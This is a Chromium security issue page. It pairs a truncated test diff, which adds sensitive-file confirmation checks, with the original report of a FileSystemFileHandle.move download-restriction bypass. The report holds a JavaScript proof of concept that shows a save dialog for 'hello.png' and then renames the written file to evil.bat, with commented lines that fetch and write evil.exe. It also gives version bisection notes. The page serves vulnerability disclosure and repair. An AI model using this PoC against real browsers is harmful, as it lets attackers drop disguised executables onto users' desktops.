+        ConfirmSensitiveEntryAccess_(
+            origin, content::PathInfo(target),
+            FileSystemAccessPermissionContext::HandleType::kFile,
+            FileSystemAccessPermissionContext::UserAction::kSave,
+            web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+        .WillOnce(base::test::RunOnceCallback<5>(
+            FileSystemAccessPermissionContext::SensitiveEntryResult::kAllowed));
 
     // These checks should only be called if the file is successfully moved.
     if (source != target) {
@@ -1195,7 +1243,9 @@
       const base::FilePath& target,
       scoped_refptr<FixedFileSystemAccessPermissionGrant> target_grant,
       blink::mojom::FileSystemAccessStatus result,
-      bool expects_safe_name = true) {
+      bool expects_safe_name = true,
+      std::optional<FileSystemAccessPermissionContext::SensitiveEntryResult>
+          expected_sensitive_entry_result = std::nullopt) {
     base::FilePath target_parent = target.DirName();
     // The site has write access to the destination directory.
     auto dest_dir_handle = GetDirectoryHandleWithPermissions(
@@ -1208,7 +1258,18 @@
 
     EXPECT_CALL(permission_context_,
                 IsFileTypeDangerous_(target_basename, origin))
-        .WillOnce(testing::Return(!expects_safe_name));
+        .WillRepeatedly(testing::Return(!expects_safe_name));
+    if (expected_sensitive_entry_result.has_value()) {
+      EXPECT_CALL(
+          permission_context_,
+          ConfirmSensitiveEntryAccess_(
+              origin, content::PathInfo(target),
+              FileSystemAccessPermissionContext::HandleType::kFile,
+              FileSystemAccessPermissionContext::UserAction::kSave,
+              web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+          .WillOnce(
+              base::test::RunOnceCallback<5>(*expected_sensitive_entry_result));
+    }
 
     // No after-write checks needed since the file should not have been moved.
 
@@ -1230,6 +1291,24 @@
       permission_context_;
 };
 
+INSTANTIATE_TEST_SUITE_P(
+    All,
+    FileSystemAccessFileHandleImplMovePermissionsTest,
... (truncated)
Loading diff…

Original Bug Report

reported by ia...@gmail.com

A vulnerability in FileSystemFileHandle.move bypasses download restrictions.

Steps to reproduce the problem

On any HTTPS page, try the following JS code. It should correctly display a file save dialog prompt, asking you to save a file named hello.png. When you click “OK,” an evil.bat file will actually be generated in the actual directory.

try {
    // 1. Call showSaveFilePicker()
    const fileHandle = await window.showSaveFilePicker({
        suggestedName: `hello`,
        startIn: "desktop",
        // Filename prompt visible to the user
        types: [{
            description: [`ImageFile`],
            accept: {
                'image/png': ['.png']
            },
        }, ],
    });
    // 2. Get the FileSystemWritableFileStream
    const writableStream = await fileHandle.createWritable();
    // 3.1 Write malicious file data to download, saved as exe
    // const evilFile = await fetch(`evil.exe`)
    // await evilFile.body.pipeTo(writableStream)
    // fileHandle.move("evil.exe")
    // 3.2 Or write custom content and close the stream, e.g., .bat
    await writableStream.write(new TextEncoder().encode(`calc`));
    await writableStream.close();
    fileHandle.move("evil.bat")
} catch (error) {
    console.log(error)
}

Problem Description

In Chrome versions 112.0.5580.0 to 137.0.7115.0 (the latest Cannry release), after a user confirms a save via window.showSaveFilePicker, invoking the move method on the resulting FileSystemFileHandle object can download certain sensitive files under attacker control into “well known directories” ([“desktop”, “documents”, “downloads”, “music”, “pictures”, “videos”]). If the “desktop” is selected and the user does not change the save location, downloading a file like “Google Chrome.exe” or a similarly deceptive file designed to mimic a desktop shortcut could have a real impact on the user.

After a period of investigation, I have seemingly pinpointed the original commit that introduced the issue. By testing various versions of Chromium on the dev channel, I obtained the following results (The following versions were tested on Winx64.):

  • 112.0.5572.0 – Not working, position: 1099442
  • 112.0.5580.0 – Working, position: 1101520
  • 112.0.5592.0 – Working, position: 1104296
  • 112.0.5608.0 – Working, position: 1107400

This localizes the problematic change to somewhere between positions 1101520 and 1099442. By searching the history of changes regarding file_system_access for versions 112.0.5572.0 to 112.0.5580.0, I examined the URL:
https://source.chromium.org/chromium/chromium/src/+/refs/tags/112.0.5580.0:third_party/blink/renderer/modules/file_system_access/;bpv=1;bpt=0

I found several suspicious related commit histories:

6ad1f40 asully@chromium.org 2023-02-04 05:07 FSA: Re-use the same task runner for each SAH.write()
c735f76 asully@chromium.org 2023-01-25 11:24 FSA: Point SyncAccessHandle idl comment to spec
02799cd asully@chromium.org 2023-01-19 00:30 FSA: Implement a cursor for SyncAccessHandles
7cd323e dslee@chromium.org 2023-01-18 02:58 [FSA] Clean up the deprecated code for async SyncAccessHandle interface.
56c5a8d dslee@chromium.org 2023-01-18 01:18 [FSA] Remove enterprise policy for deprecating async SyncAccessHandle interface.

Among these, the most likely commit is:

6ad1f40 asully@chromium.org 2023-02-04 05:07

FSA: Re-use the same task runner for each SAH.write()

Currently, we create a new task runner for every write operation. This
is wasteful and hurts performance.

Also removes a task runner member that was used for async operations,
back when that was a thing.

Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=1406246
Change-Id: I94ff69f023f0db60724659b0236710a09e8f132b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4219170
Reviewed-by: Daseul Lee <dslee@chromium.org>
Commit-Queue: Austin Sullivan <asully@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1101185}

This commit seems to be the most likely cause of the issue.

Additional Comments

The following versions were tested on Winx64.

  • 112.0.5572.0 – Not working, position: 1099442

  • 112.0.5580.0 – Working, position: 1101520

  • 112.0.5592.0 – Working, position: 1104296

  • 112.0.5608.0 – Working, position: 1107400

  • 135.0.7049.86 works

  • 134.0.6998.89 works

Summary

A vulnerability in FileSystemFileHandle.move bypasses download restrictions.

Custom Questions

Type of crash:

Crash state:

Reporter credit:

Additional Data

Category: Security
Chrome Channel: Canary
Regression: Yes

View on issue tracker
Uploaded PoC files
Links in the report
On This Page